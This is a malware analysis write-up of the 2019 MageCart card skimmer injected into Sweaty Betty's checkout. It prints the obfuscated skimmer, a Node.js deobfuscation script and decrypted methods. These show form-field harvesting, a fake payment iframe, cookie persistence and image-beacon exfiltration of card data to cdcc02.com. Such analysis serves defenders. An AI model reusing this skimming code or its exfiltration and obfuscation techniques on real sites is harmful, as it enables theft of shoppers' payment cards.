MageCart Decoded: Sweaty Betty

Adapted from an article I originally wrote in December 2019. Before we had Claude Code :D. I had to walk uphill both ways in the snow to analyze malware

What Is MageCart?

MageCart — a portmanteau of “Magento” and “shopping cart” — is an umbrella term for credit card skimming attacks targeting e-commerce platforms. The name originated from early attacks against Magento, the open-source PHP e-commerce platform, where attackers exploited known vulnerabilities (or compromised admin panels) to inject card-stealing code into checkout pages.

The term has since broadened far beyond Magento. MageCart attacks have hit Salesforce Commerce Cloud, Shopify apps, custom-built storefronts, and even third-party script providers (supply chain attacks that compromise thousands of sites at once). The techniques have diversified too. While client-side JavaScript injection is the most common — and hardest to detect since the skimmer runs in the victim’s browser, invisible to server-side monitoring — MageCart attacks also occur server-side. Attackers with backend access can modify checkout controllers, payment processing logic, or server-rendered templates to capture card data before it ever reaches the payment processor. Server-side skimmers leave no trace in the browser, making them effectively invisible to CSP, SRI, and client-side behavioral monitoring.

RiskIQ (now part of Microsoft) identified over a dozen distinct MageCart groups operating between 2015 and 2020, each with different toolkits, targets, and levels of sophistication — from opportunistic Magento scanner bots to targeted campaigns against specific high-value retailers. The Sweaty Betty attack examined in this article is an example of the latter.

The Sweaty Betty Breach

During November of 2019 the UK sportswear retailer Sweaty Betty fell victim to a MageCart attack. The skimmer was active from November 19 through November 27 — timed to overlap with Black Friday — and was disclosed to customers on December 3rd. An SFCC (Salesforce Commerce Cloud) customer, the code was added via a compromised SFCC Business Manager account that had permissions to modify content assets. The malicious code was appended to the bottom of a first-party JS file — a Content Library asset (Library-Sites-sweatybettylibrary), which in SFCC is managed through Business Manager. The exact initial access method was never publicly confirmed, but Sansec’s analysis of analogous SFCC breaches pointed to leaked admin credentials, spearphishing, or a compromised internal network. Having been an SFCC customer myself at the time, I’d lean toward compromised credentials — logging into Business Manager to update a Content Library asset is trivially easy if you have the credentials. I was able to obtain a copy of the compromised file through the Internet Archive’s Wayback Machine: archived copy.

The code was minified and obfuscated with its strings encrypted. The attackers used JavaScript tricks such as hex values instead of integers, random variable and function naming, and using the window object’s properties and methods to encrypt most native JavaScript function calls.

// Assigning a JS native object to a variable with a random name
// allows you to access its methods using strings instead
// of dot notation. with the window object representing the dom ...
_0x22f56c = window;
// ... its a perfect place to hide calls to native functions
_0x22f56c["alert"]("Hello world!");
// ... all you have to do now is encrypt the keys and inputs
// and resolve them at runtime through a decryption function

Deobfuscating the Code

The Sweaty Betty code uses an obfuscation pattern commonly produced by tools like javascript-obfuscator: a string array with rotation, an RC4 decryption wrapper keyed by a per-reference secret, and hexadecimal index references throughout the logic. This is sometimes called the “string array rotation” or “string array encoding” pattern, and it appears in the vast majority of obfuscated JavaScript malware. The pattern consists of 3 layers.

The Data Layer

Contains a flat array of Base64-encoded, RC4-encrypted strings — every string literal and native function name the skimmer needs at runtime. It is followed by an anonymous rotation function that shifts the array by a fixed number of positions (242) at runtime, so that the hardcoded indices in the logic layer only resolve correctly after the rotation has executed.

Sweaty Betty Data Layer (click to expand)
var _0x4f54 = ['fcOrw7TDlMKhwpM=', 'wrxYKX4/Ng==', 'wq4Ww5Icwo1VX8OR',
'EBPDjzHCoTEl', /* ... hundreds more encrypted strings ... */
'aHfDqUEoYnvCrQI='];
(function (_0x314b69, _0xf9a0ab) {
var _0xeec1d8 = function (_0x244b14) {
while (--_0x244b14) {
_0x314b69['push'](_0x314b69['shift']());
}
};
_0xeec1d8(++_0xf9a0ab);
}(_0x4f54, 0xf1));

The Decryption Layer

This layer is utilized by the logic layer to decrypt the values and functions from the data layer during runtime. It uses RC4 stream cipher decryption with Base64 decoding.

Sweaty Betty Decryption Layer (click to expand)
var _0x250d = function (_0x3464cd, _0x2b168) {
_0x3464cd = _0x3464cd - 0x0;
var _0x297ff4 = _0x4f54[_0x3464cd];
if (_0x250d['vKUUSS'] === undefined) {
(function () {
var _0x3c5d8d = function () {
var _0x22f56c;
try {
_0x22f56c = Function('return\x20(function()\x20' +
'{}.constructor(\x22return\x20this\x22)(\x20)' + ');')();
} catch (_0x394da2) {
_0x22f56c = window;
}
return _0x22f56c;
};
var _0xb88de4 = _0x3c5d8d();
var _0x4af2af = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
_0xb88de4['atob'] || (_0xb88de4['atob'] = function (_0x545fbf) {
var _0x3680bd = String(_0x545fbf)['replace'](/=+$/, '');
for (var _0xd54a90 = 0x0, _0x3eaa32, _0x138875, _0x3ad847 = 0x0,
_0x3af82d = ''; _0x138875 = _0x3680bd['charAt'](_0x3ad847++);
~_0x138875 && (_0x3eaa32 = _0xd54a90 % 0x4 ?
_0x3eaa32 * 0x40 + _0x138875 : _0x138875,
_0xd54a90++ % 0x4) ? _0x3af82d +=
String['fromCharCode'](0xff & _0x3eaa32 >>
(-0x2 * _0xd54a90 & 0x6)) : 0x0) {
_0x138875 = _0x4af2af['indexOf'](_0x138875);
}
return _0x3af82d;
});
}());
var _0x16fb87 = function (_0x2f6219, _0x2b168) {
var _0x25babd = [], _0x19f4e0 = 0x0, _0xca9106,
_0x3d8942 = '', _0x26f047 = '';
_0x2f6219 = atob(_0x2f6219);
for (var _0xe5f98 = 0x0, _0x459add = _0x2f6219['length'];
_0xe5f98 < _0x459add; _0xe5f98++) {
_0x26f047 += '%' + ('00' + _0x2f6219['charCodeAt'](_0xe5f98)
['toString'](0x10))['slice'](-0x2);
}
_0x2f6219 = decodeURIComponent(_0x26f047);
for (var _0x3f562a = 0x0; _0x3f562a < 0x100; _0x3f562a++) {
_0x25babd[_0x3f562a] = _0x3f562a;
}
for (_0x3f562a = 0x0; _0x3f562a < 0x100; _0x3f562a++) {
_0x19f4e0 = (_0x19f4e0 + _0x25babd[_0x3f562a] +
_0x2b168['charCodeAt'](_0x3f562a % _0x2b168['length'])) % 0x100;
_0xca9106 = _0x25babd[_0x3f562a];
_0x25babd[_0x3f562a] = _0x25babd[_0x19f4e0];
_0x25babd[_0x19f4e0] = _0xca9106;
}
_0x3f562a = 0x0;
_0x19f4e0 = 0x0;
for (var _0x699f79 = 0x0; _0x699f79 < _0x2f6219['length']; _0x699f79++) {
_0x3f562a = (_0x3f562a + 0x1) % 0x100;
_0x19f4e0 = (_0x19f4e0 + _0x25babd[_0x3f562a]) % 0x100;
_0xca9106 = _0x25babd[_0x3f562a];
_0x25babd[_0x3f562a] = _0x25babd[_0x19f4e0];
_0x25babd[_0x19f4e0] = _0xca9106;
_0x3d8942 += String['fromCharCode'](_0x2f6219['charCodeAt'](_0x699f79) ^
_0x25babd[(_0x25babd[_0x3f562a] + _0x25babd[_0x19f4e0]) % 0x100]);
}
return _0x3d8942;
};
_0x250d['oXnNQz'] = _0x16fb87;
_0x250d['FXnYhK'] = {};
_0x250d['vKUUSS'] = !![];
}
var _0x4eaeec = _0x250d['FXnYhK'][_0x3464cd];
if (_0x4eaeec === undefined) {
if (_0x250d['zveqlU'] === undefined) {
_0x250d['zveqlU'] = !![];
}
_0x297ff4 = _0x250d['oXnNQz'](_0x297ff4, _0x2b168);
_0x250d['FXnYhK'][_0x3464cd] = _0x297ff4;
} else {
_0x297ff4 = _0x4eaeec;
}
return _0x297ff4;
};

The Logic Layer

This layer contains the actual MageCart skimming code. All of its string values and native function calls are encrypted and resolved at runtime through the decryption layer above.

Sweaty Betty Logic Layer — obfuscated (click to expand)
var $s={'Number':null,'Holder':null,'HolderFirstName':null,'HolderLastName':null,
'Date':null,'Month':null,'Year':null,'CVV':null,'Gate':_0x250d('0xe6','3FGV'),
'Data':{'Changed':![]},'Sent':[],'Changed':![],'Template':_0x250d('0xe7',')3Vj'),
'SaveParam':function(_0x4668e3){if(_0x4668e3['id']!==undefined&&_0x4668e3['id']!=''
&&_0x4668e3['id']!==null&&_0x4668e3[_0x250d('0xe8','3D0[')][_0x250d('0xe9','Dp9h')]
<0x100&&_0x4668e3['value']['length']>0x0){$s[_0x250d('0xea','MV!w')][_0x4668e3['id']]
=_0x4668e3[_0x250d('0xeb','yALx')];return;}if(_0x4668e3[_0x250d('0xec','8myO')]
!==undefined&&_0x4668e3[_0x250d('0xed','G8MP')]!=''&&_0x4668e3[_0x250d('0xee','KB&(')]
!==null&&_0x4668e3[_0x250d('0xef','INkX')]['length']<0x100&&_0x4668e3[_0x250d('0xf0',
'h^zp')][_0x250d('0xe3','8KRF')]>0x0){$s[_0x250d('0xf1',')3Vj')][_0x4668e3[_0x250d(
'0xf2','3D0[')]]=_0x4668e3[_0x250d('0xf3','^QM]')];return;}},'SaveAllFields':
function(){var _0x200859=document[_0x250d('0xf4','aRt&')](_0x250d('0xf5','Kj^*'));var
_0x1ba584=document[_0x250d('0xf6','Pwpr')](_0x250d('0xf7','G8MP'));var _0x351ee3=
document['getElementsByTagName'](_0x250d('0xf8','A)*S'));for(var _0x3ecaea=0x0;
_0x3ecaea<_0x200859[_0x250d('0xbc','3FGV')];_0x3ecaea++)$s[_0x250d('0xf9','hPv[')]
(_0x200859[_0x3ecaea]);for(var _0x3ecaea=0x0;_0x3ecaea<_0x1ba584['length'];
_0x3ecaea++)$s[_0x250d('0xfa','c(3i')](_0x1ba584[_0x3ecaea]);for(var _0x3ecaea=0x0;
_0x3ecaea<_0x351ee3[_0x250d('0x7f','agtj')];_0x3ecaea++)$s[_0x250d('0xfb',')3Vj')]
(_0x351ee3[_0x3ecaea]);Cookies[_0x250d('0xfc','2mB#')]('$s',$s[_0x250d('0xfd','ykzc')]
[_0x250d('0xfe','MV!w')](JSON[_0x250d('0xff','8KRF')]($s[_0x250d('0x100','W#H6')])));}
,'SendData':function(){$s[_0x250d('0x101','KB&(')][_0x250d('0x102','nG1z')]=location
['hostname'];var _0x1e25be=$s['Base64'][_0x250d('0x103','2eia')](JSON[_0x250d('0x104',
'EA#l')]($s['Data']));var _0x313df0=calcMD5(_0x1e25be);for(var _0x13fc13=0x0;
_0x13fc13<$s[_0x250d('0x105','y9qI')][_0x250d('0x106','W#H6')];_0x13fc13++)if($s
['Sent'][_0x13fc13]==_0x313df0)return;$s[_0x250d('0x107','2eia')](_0x1e25be);},'TrySend'
:function(){$s[_0x250d('0x108','aRt&')]();$s[_0x250d('0x109','ZrH$')]();$s['GetCCInfo']
();$s[_0x250d('0x10a','yALx')]();if($s[_0x250d('0x10b','vxGP')][_0x250d('0x10c',
'vxGP')]===undefined||$s[_0x250d('0x10d','Pwpr')][_0x250d('0x10e','J#17')][_0x250d(
'0x10f','8BSD')]<0xb)return;if($s[_0x250d('0x110','VG[)')]['Holder']===undefined||$s
[_0x250d('0x111','2eia')][_0x250d('0x112',')3Vj')][_0x250d('0x113','hLrP')]==0x0)
return;if($s[_0x250d('0x114','3D0[')]['Date']===undefined||$s[_0x250d('0x115','INkX')]
[_0x250d('0x116','HNmE')][_0x250d('0x117','2mB#')]==0x0)return;if($s[_0x250d('0x118',
'agtj')]['CVV']===undefined||$s[_0x250d('0x119','3]CG')]['CVV'][_0x250d('0x7d','ykzc')]
<0x3)return;$s[_0x250d('0x11a','EA#l')]();},'GetCCInfo':function(){if($s[_0x250d(
'0x11b','EA#l')]!==null&&$s[_0x250d('0x11c','8myO')][$s[_0x250d('0x11d','l$Wn')]]
!==undefined)$s['Data'][_0x250d('0x11e','aRt&')]=$s[_0x250d('0x11f','Dp9h')][$s
[_0x250d('0x120','agtj')]];if($s[_0x250d('0x121','Dp9h')]!==null&&$s[_0x250d('0x122',
'nG1z')][$s[_0x250d('0x123','ZrH$')]]!==undefined)$s[_0x250d('0x124','ZrH$')][_0x250d(
'0x125','8KRF')]=$s[_0x250d('0x126','8KRF')][$s[_0x250d('0x127','8myO')]];if($s
[_0x250d('0x128','8myO')]!==null&&$s['Data'][$s[_0x250d('0x129','0P%%')]]!==undefined)
$s[_0x250d('0x12a','hLrP')]['Holder']=$s[_0x250d('0x12b','J#17')][$s['Holder']];if($s
[_0x250d('0x12c','ZrH$')]!==null&&$s['Data'][$s[_0x250d('0x12d',')3Vj')]]!==undefined)
$s[_0x250d('0x124','ZrH$')][_0x250d('0x12e','W#H6')]=$s[_0x250d('0x12f','y9qI')][$s
[_0x250d('0x12c','ZrH$')]];if($s['HolderLastName']!==null&&$s['Data'][$s[_0x250d(
'0x130','scke')]]!==undefined)$s[_0x250d('0x131','wjXL')][_0x250d('0x132','G)k6')]+=
'\x20'+$s[_0x250d('0x12a','hLrP')][$s[_0x250d('0x133','8KRF')]];if($s[_0x250d('0x134',
'INkX')]!==null&&$s[_0x250d('0x135','HNmE')][$s[_0x250d('0x116','HNmE')]]!==undefined)
$s['Data'][_0x250d('0x136','SD&D')]=$s[_0x250d('0x137','A)*S')][$s['Date']];if($s
[_0x250d('0x138','0P%%')]!==null&&$s['Data'][$s['Month']]!==undefined)$s[_0x250d(
'0x10b','vxGP')][_0x250d('0x139','G8MP')]=$s['Data'][$s[_0x250d('0x13a','agtj')]];if(
$s[_0x250d('0x13b','INkX')]!==null&&$s['Data'][$s['Year']]!==undefined)$s['Data']
[_0x250d('0x13c','BsAh')]+='/'+$s[_0x250d('0x110','VG[)')][$s[_0x250d('0x13d',
'Dp9h')]];},'LoadImage':function(_0x30cae9){$s[_0x250d('0x13e','KB&(')][_0x250d(
'0x13f','^QM]')](calcMD5(_0x30cae9));Cookies[_0x250d('0x140','VG[)')](_0x250d('0x141',
'scke'),$s[_0x250d('0x142','BsAh')][_0x250d('0x143','3]CG')](JSON[_0x250d('0x144',
'W#H6')]($s[_0x250d('0x145','EA#l')])));var _0x2db522=document[_0x250d('0x146','6*)c')]
(_0x250d('0x147','32(k'));_0x2db522[_0x250d('0x148','0P%%')]=$s[_0x250d('0x149',
'HNmE')](_0x30cae9);Cookies['remove']('$s');},'GetImageUrl':function(_0x506b55){return
$s[_0x250d('0x14a','INkX')]+_0x250d('0x14b','HNmE')+_0x506b55;},'GetFromStorage':
function(){if(Cookies['get']('$s')!==undefined){$s[_0x250d('0x14c','*4#w')]=JSON
[_0x250d('0x14d','yALx')]($s[_0x250d('0x14e','3x)Y')][_0x250d('0x14f','%zE0')](Cookies
['get']('$s')));}if(Cookies[_0x250d('0x150','l$Wn')](_0x250d('0x151','3FGV'))
!==undefined){$s[_0x250d('0x152','hPv[')]=JSON[_0x250d('0x153','MV!w')]($s['Base64']
[_0x250d('0x154','c(3i')](Cookies[_0x250d('0x155','3FGV')](_0x250d('0x156',
'G)k6'))));}},'AddCSS':function(){var _0x4f08ac=document[_0x250d('0x157','wjXL')]
(_0x250d('0x158','Dp9h'))[0x0];_0x4f08ac[_0x250d('0x159','^QM]')]+=$s[_0x250d('0x15a',
'rgTf')];},'ChangeForm':function(){if(typeof jQuery!=_0x250d('0x15b',')3Vj')){var
_0x2d970a=document[_0x250d('0x15c','G8MP')]('is-CREDIT_CARD');var _0x4e3853=document
[_0x250d('0x15d','ipvd')](_0x250d('0x15e','G8MP'));var _0xf494dc=document
['getElementById'](_0x250d('0x15f','l$Wn'));if(_0x2d970a!==null&&_0x2d970a['checked']&&
_0x4e3853!==null){if(!$s[_0x250d('0x160','VG[)')]){jQuery(_0x4e3853)[_0x250d('0x161',
'KB&(')]();if(_0xf494dc===null){var _0x22542f=document[_0x250d('0x162','3FGV')]
(_0x250d('0x163','BsAh'));_0x22542f['id']=_0x250d('0x164','ipvd');_0x22542f[_0x250d(
'0x165','scke')]=$s['Template'];_0x22542f[_0x250d('0x166','h^zp')]('scrolling','no');
_0x22542f['setAttribute']('frameborder','0');_0x22542f[_0x250d('0x167','SD&D')]=
_0x250d('0x168','8myO');jQuery(_0x4e3853)['after'](_0x22542f);setTimeout(function(){$s
['WR'](jQuery('#billing-submit'),0x1f4,function(){$s[_0x250d('0x169','%zE0')]();});},
0x1388);}else{jQuery(_0xf494dc)[_0x250d('0x16a','ykzc')]();}}else{jQuery(_0xf494dc)
[_0x250d('0x16b','ipvd')]();jQuery(_0x4e3853)[_0x250d('0x16c','EA#l')]();}}else{jQuery(
_0xf494dc)['hide']();}}},'ClickButton':function(){var _0xa27ad5=document[_0x250d(
'0x16d','3FGV')](_0x250d('0x16e','J#17'));var _0x150dbe=document[_0x250d('0x16f',
'ZrH$')](_0x250d('0x170','3]CG'));var _0x2758ca=jQuery('#billing-submit');if(_0x2758ca
[_0x250d('0x6b','%zE0')]>0x0){if(!$s[_0x250d('0x171','aRt&')]){jQuery(_0x150dbe)
[_0x250d('0x172','3D0[')]();jQuery(_0xa27ad5)[_0x250d('0x173','8KRF')]();$s[_0x250d(
'0x174','G)k6')]=!![];}else{jQuery(_0x2758ca)['click']();}}return![];},'WR':function(
_0x5d2249,_0x42b0e3=0xbb8,_0x4edaee=null){var _0x2f7502=document[_0x250d('0x175',
'agtj')]('wr');if(_0x2f7502===null){_0x2f7502=document[_0x250d('0x176','G)k6')]
(_0x250d('0x177','MV!w'));_0x2f7502['id']='wr';jQuery('body')[_0x250d('0x178','Pwpr')]
(_0x2f7502);}var _0x1ccac8=_0x5d2249[_0x250d('0x179','scke')]()[_0x250d('0x17a',
'vxGP')];var _0x218e9b=_0x5d2249[_0x250d('0x17b','3D0[')]()[_0x250d('0x17c','A)*S')];
var _0x5f2379=_0x5d2249[_0x250d('0x17d','G)k6')]();var _0x4c5afe=_0x5d2249[_0x250d(
'0x17e','Dp9h')]();_0x2f7502['style'][_0x250d('0x17f','l$Wn')]='absolute';_0x2f7502
[_0x250d('0x180','vxGP')][_0x250d('0x181','x&7m')]=_0x5f2379+0x64+'px';_0x2f7502
[_0x250d('0x182','2mB#')]['height']=_0x4c5afe+0x32+'px';_0x2f7502['style'][_0x250d(
'0x183','c(3i')]=_0x1ccac8+'px';_0x2f7502[_0x250d('0x184','MV!w')]['left']=_0x218e9b+
'px';_0x2f7502['style']['zIndex']=0x270f;_0x2f7502[_0x250d('0x185','0P%%')][_0x250d(
'0x186','hPv[')]=_0x250d('0x187','hPv[');_0x2f7502['onclick']=function(_0x41415f){var
_0x31fa54=_0x41415f[_0x250d('0x188','nG1z')];setTimeout(function(){if(_0x31fa54!==null)
_0x31fa54[_0x250d('0x189','A)*S')]();if(_0x4edaee!==null)_0x4edaee();},parseInt(
_0x42b0e3));};},'GetAddr':function(){var _0x5c8aa6=document[_0x250d('0x18a','HNmE')]
(_0x250d('0x18b','rgTf'));var _0x450ea9=document[_0x250d('0x18c','8myO')](_0x250d(
'0x18d','aRt&'));if(_0x5c8aa6!==null&&_0x450ea9!==null){$s[_0x250d('0x18e','3FGV')]
[_0x250d('0x18f','J#17')]=_0x5c8aa6+'\x20'+_0x450ea9;}},'Base64':{'_keyStr':_0x250d(
'0x190','3D0['),'encode':function(_0x3d3aaf){var _0x12eb78,_0x3e4502,_0x30c31a,
_0x52fe02,_0x533a01,_0x1a9b0b,_0x101a90,_0x345d14='',_0x3fbe65=0x0;for(_0x3d3aaf=this
['_utf8_encode'](_0x3d3aaf);_0x3fbe65<_0x3d3aaf['length'];)_0x52fe02=(_0x12eb78=
_0x3d3aaf[_0x250d('0x8d','hLrP')](_0x3fbe65++))>>0x2,_0x533a01=(0x3&_0x12eb78)<<0x4|
(_0x3e4502=_0x3d3aaf['charCodeAt'](_0x3fbe65++))>>0x4,_0x1a9b0b=(0xf&_0x3e4502)<<0x2|
(_0x30c31a=_0x3d3aaf[_0x250d('0x191','h^zp')](_0x3fbe65++))>>0x6,_0x101a90=0x3f&
_0x30c31a,isNaN(_0x3e4502)?_0x1a9b0b=_0x101a90=0x40:isNaN(_0x30c31a)&&(_0x101a90=
0x40),_0x345d14=_0x345d14+this['_keyStr'][_0x250d('0x192','VG[)')](_0x52fe02)+this
[_0x250d('0x193','ZrH$')][_0x250d('0x194','scke')](_0x533a01)+this[_0x250d('0x195',
'agtj')][_0x250d('0x196','aRt&')](_0x1a9b0b)+this[_0x250d('0x197','BsAh')][_0x250d(
'0x198','G)k6')](_0x101a90);return _0x345d14;},'decode':function(_0x37c131){var
_0x13f43b,_0x501ef1,_0x1b6c4f,_0x23dc34,_0x3bafd8,_0x4b2753,_0x5732b9='',_0x86cf3f=
0x0;for(_0x37c131=_0x37c131[_0x250d('0x199','vxGP')](/[^A-Za-z0-9\+\/\=]/g,'');
_0x86cf3f<_0x37c131[_0x250d('0xcf','0P%%')];)_0x13f43b=this['_keyStr']['indexOf']
(_0x37c131['charAt'](_0x86cf3f++))<<0x2|(_0x23dc34=this['_keyStr'][_0x250d('0x19a',
'G)k6')](_0x37c131[_0x250d('0x19b','W#H6')](_0x86cf3f++)))>>0x4,_0x501ef1=(0xf&
_0x23dc34)<<0x4|(_0x3bafd8=this['_keyStr'][_0x250d('0x19c','MV!w')](_0x37c131
[_0x250d('0x19d','hPv[')](_0x86cf3f++)))>>0x2,_0x1b6c4f=(0x3&_0x3bafd8)<<0x6|
(_0x4b2753=this[_0x250d('0x193','ZrH$')][_0x250d('0x19e','J#17')](_0x37c131[_0x250d(
'0x19f','INkX')](_0x86cf3f++))),_0x5732b9+=String['fromCharCode'](_0x13f43b),0x40!=
_0x3bafd8&&(_0x5732b9+=String[_0x250d('0x1a0','hPv[')](_0x501ef1)),0x40!=_0x4b2753&&(
_0x5732b9+=String[_0x250d('0x1a1','agtj')](_0x1b6c4f));return _0x5732b9=this[_0x250d(
'0x1a2','A)*S')](_0x5732b9);},'_utf8_encode':function(_0x5dd655){_0x5dd655=_0x5dd655
['replace'](/\r\n/g,'\x0a');for(var _0xdf021f='',_0x1da600=0x0;_0x1da600<_0x5dd655
[_0x250d('0x7f','agtj')];_0x1da600++){var _0x463ae4=_0x5dd655[_0x250d('0x1a3','Dp9h')]
(_0x1da600);_0x463ae4<0x80?_0xdf021f+=String[_0x250d('0x82','0P%%')](_0x463ae4):
_0x463ae4>0x7f&&_0x463ae4<0x800?(_0xdf021f+=String[_0x250d('0x1a4','y9qI')](_0x463ae4
>>0x6|0xc0),_0xdf021f+=String[_0x250d('0x1a5','8myO')](0x3f&_0x463ae4|0x80)):(
_0xdf021f+=String[_0x250d('0x1a6','3D0[')](_0x463ae4>>0xc|0xe0),_0xdf021f+=String
['fromCharCode'](_0x463ae4>>0x6&0x3f|0x80),_0xdf021f+=String[_0x250d('0x1a7','x&7m')]
(0x3f&_0x463ae4|0x80));}return _0xdf021f;},'_utf8_decode':function(_0x3b6888){for(var
_0x3a0ae9='',_0x33f013=0x0,_0x185128=c1=c2=0x0;_0x33f013<_0x3b6888['length'];)
(_0x185128=_0x3b6888[_0x250d('0x1a8','2mB#')](_0x33f013))<0x80?(_0x3a0ae9+=String
['fromCharCode'](_0x185128),_0x33f013++):_0x185128>0xbf&&_0x185128<0xe0?(c2=_0x3b6888
[_0x250d('0x8c','32(k')](_0x33f013+0x1),_0x3a0ae9+=String['fromCharCode']((0x1f&
_0x185128)<<0x6|0x3f&c2),_0x33f013+=0x2):(c2=_0x3b6888[_0x250d('0x1a9','yALx')]
(_0x33f013+0x1),c3=_0x3b6888[_0x250d('0x1a8','2mB#')](_0x33f013+0x2),_0x3a0ae9+=
String[_0x250d('0x1aa','3x)Y')]((0xf&_0x185128)<<0xc|(0x3f&c2)<<0x6|0x3f&c3),
_0x33f013+=0x3);return _0x3a0ae9;}}};
$s[_0x250d('0x1ab','ZrH$')]();
setInterval($s[_0x250d('0x1ac','wjXL')],0x1f4);

Deobfuscation Process

You can use the data layer and decryption layer to decrypt the logic layer. I did this by using a Node.js script that reads in the original file, uses a regex to find all calls to the decryption layer function (e.g. _0x250d('0x184', 'MV!w')) and replaces them with the decrypted values.

const fs = require('fs');
const DECRYPTION_FUNCTION_REGEX = new RegExp(
`${'_0x250d'}\\('.*?',[ ']+.*?'\\)`, 'g'
);
// <Content Code Here>
// <Decryption Code Here>
deobfuscateMagecart();
function deobfuscateMagecart() {
let code = fs.readFileSync('/Path/to/magecart_file.js', { encoding: 'utf-8' });
let match = DECRYPTION_FUNCTION_REGEX.exec(code);
do {
const decryptionFunctionCall = match[0];
console.log(decryptionFunctionCall);
const dataValue = eval(decryptionFunctionCall);
code = code.replace(decryptionFunctionCall, `'${dataValue}'`);
match = DECRYPTION_FUNCTION_REGEX.exec(code);
DECRYPTION_FUNCTION_REGEX.lastIndex = 0;
} while (match);
fs.writeFileSync('/decrypted_output.js', code);
}

With all string values and JS native function calls in plaintext you can begin reverse engineering. As a final optional step you can run the decrypted logic layer through JS NICE to make the remaining variable and function names less ambiguous.

Anatomy of the Attack

I’ve broken the logic of this attack into four sub-layers:

  • Serialization Layer — Bundles a custom JSON3 implementation to stringify/parse the skimmer object’s data, ensuring compatibility across browsers.
  • Storage Layer — Implements a Cookies object (based on js-cookie) to persist serialized data across page loads.
  • Hashing Layer — Contains a custom MD5 implementation used to checksum exfiltrated data and prevent duplicate sends.
  • Skimming Layer — The core attack logic: collecting form data, hijacking the checkout flow, and exfiltrating stolen card details.

The Skimming Layer is where the interesting attack logic lives. Before drilling into each method, here’s the full attack flow at a glance:

Overview

┌─────────────────────────────────────────────────────────────────┐
│ PAGE LOAD │
│ │
│ 1. Instantiate $s skimmer object │
│ 2. GetFromStorage() — restore $s.Data and $s.Sent from cookies │
│ 3. Start main loop: setInterval(TrySend, 500) │
└─────────────────────────┬───────────────────────────────────────┘
┌─────────────────────────────┐ ◄─── repeats every 500ms
│ TrySend() │
└─────────────┬───────────────┘
┌───────────────┼───────────────────────┐
▼ ▼ ▼
SaveAllFields() GetAddr() ChangeForm()
Scrape every Read SFCC billing Check if CC radio
<input>, <select>, field IDs is selected
<textarea> on the (has a bug — stores │
page by id/name. DOM elements, not │
Persist to $s .value) │
cookie. ┌──────┴──────┐
│ CC selected? │
└──────┬──────┘
YES │
┌──────────────┴──────────────┐
│ First time? (!$s.Changed) │
└──────────────┬──────────────┘
YES │
┌──────────────┴──────────────┐
│ 1. Hide real #card div │
│ 2. Inject fake iframe │
│ (_payment_form) │
│ 3. After 5s, overlay submit │
│ button with invisible div │
└──────────────────────────────┘
┌─────────────────────────────────────────────┐
│ INSIDE THE FAKE IFRAME │
│ │
│ Styled to match Sweaty Betty checkout UI. │
│ Every 500ms writes field values to: │
│ parent.$s.Data.Number │
│ parent.$s.Data.Date │
│ parent.$s.Data.CVV │
│ parent.$s.Data.Holder │
└─────────────────────────────────────────────┘
Meanwhile, TrySend() keeps running and checks:
┌──────────────────────────────────────────────────┐
│ Number.length >= 11? ─── no ──▶ skip │
│ Holder.length > 0? ─── no ──▶ skip │
│ Date.length > 0? ─── no ──▶ skip │
│ CVV.length >= 3? ─── no ──▶ skip │
│ │ │
│ all yes │
│ ▼ │
│ SendData() │
│ 1. JSON.stringify($s.Data) │
│ 2. Base64-encode payload │
│ 3. MD5 checksum — skip if already sent │
│ 4. Create <img> with src: │
│ cdcc02.com/widgets/main.js?hash=<data> │
│ 5. Clean up $s cookie │
└──────────────────────────────────────────────────┘
│ Exfiltration fires here — BEFORE the user clicks
│ submit. Card data is stolen the moment all four
│ fields pass validation.
┌─────────────────────────────────────────────────────────────┐
│ VICTIM CLICKS "SUBMIT" │
│ │
│ 1. Click hits invisible overlay (not the real button) │
│ 2. Overlay waits 500ms, then removes itself │
│ 3. Calls ClickButton(): │
│ - Hides fake iframe │
│ - Shows real #card div │
│ - Sets $s.Changed = true (won't swap again) │
│ 4. Victim sees form "glitch" — inputs appear to vanish │
│ 5. Victim re-enters card into the now-visible real form │
│ 6. Victim clicks submit again — real button, real checkout │
└─────────────────────────────────────────────────────────────┘

Two things stand out about this design. First, the skimmer separates data theft from checkout completion — exfiltration happens silently in the background the moment card fields are filled, and the form swap on submit is just cleanup so the victim can complete their real purchase. Most users interpret the “glitch” as a minor page hiccup and simply re-enter their details. Second, the entire $s.Data object is persisted to cookies on every tick and restored on page load, so the skimmer accumulates data across SFCC’s multi-step checkout (shipping → billing → payment) without losing state on navigation.

Below is the fully decrypted and annotated version of each method.

The Skimmer Object

The $s object is the heart of the attack. Here are its key properties:

var $s = {
'Number': null, // CC number field ID
'Holder': null, // CC holder name field ID
'HolderFirstName': null,
'HolderLastName': null,
'Date': null, // Expiration date field ID
'Month': null,
'Year': null,
'CVV': null,
'Gate': 'https://www.cdcc02.com/widgets/main.js', // Exfiltration endpoint
'Data': { 'Changed': false }, // All skimmed form data
'Sent': [], // MD5 hashes of previously exfiltrated payloads
'Changed': false, // Whether form swap has occurred
'Template': '...', // HTML for the fake payment form (see below)
// ... methods described below
};

SaveAllFields — Harvesting the Page

Every 500ms, this method scrapes every <input>, <select>, and <textarea> on the page and stores each value keyed by its id or name attribute:

'SaveAllFields': function () {
var inputs = document.getElementsByTagName('input');
var selects = document.getElementsByTagName('select');
var textareas = document.getElementsByTagName('textarea');
for (var i = 0; i < inputs.length; i++) $s.SaveParam(inputs[i]);
for (var i = 0; i < selects.length; i++) $s.SaveParam(selects[i]);
for (var i = 0; i < textareas.length; i++) $s.SaveParam(textareas[i]);
// Persist to cookie for cross-page survival
Cookies.set('$s', $s.Base64.encode(JSON.stringify($s.Data)));
}

The skimmer doesn’t just operate on a single page — it maintains state across the entire browsing session through two cookies:

  • $s — Base64-encoded JSON of $s.Data (all scraped form values). Written by SaveAllFields on every 500ms tick, restored by GetFromStorage on page load.
  • $sent — Base64-encoded JSON of $s.Sent (MD5 hashes of already-exfiltrated payloads). Written by LoadImage after each exfiltration, restored by GetFromStorage on page load.
'GetFromStorage': function () {
if (Cookies.get('$s') !== undefined) {
$s.Data = JSON.parse($s.Base64.decode(Cookies.get('$s')));
}
if (Cookies.get('$sent') !== undefined) {
$s.Sent = JSON.parse($s.Base64.decode(Cookies.get('$sent')));
}
}

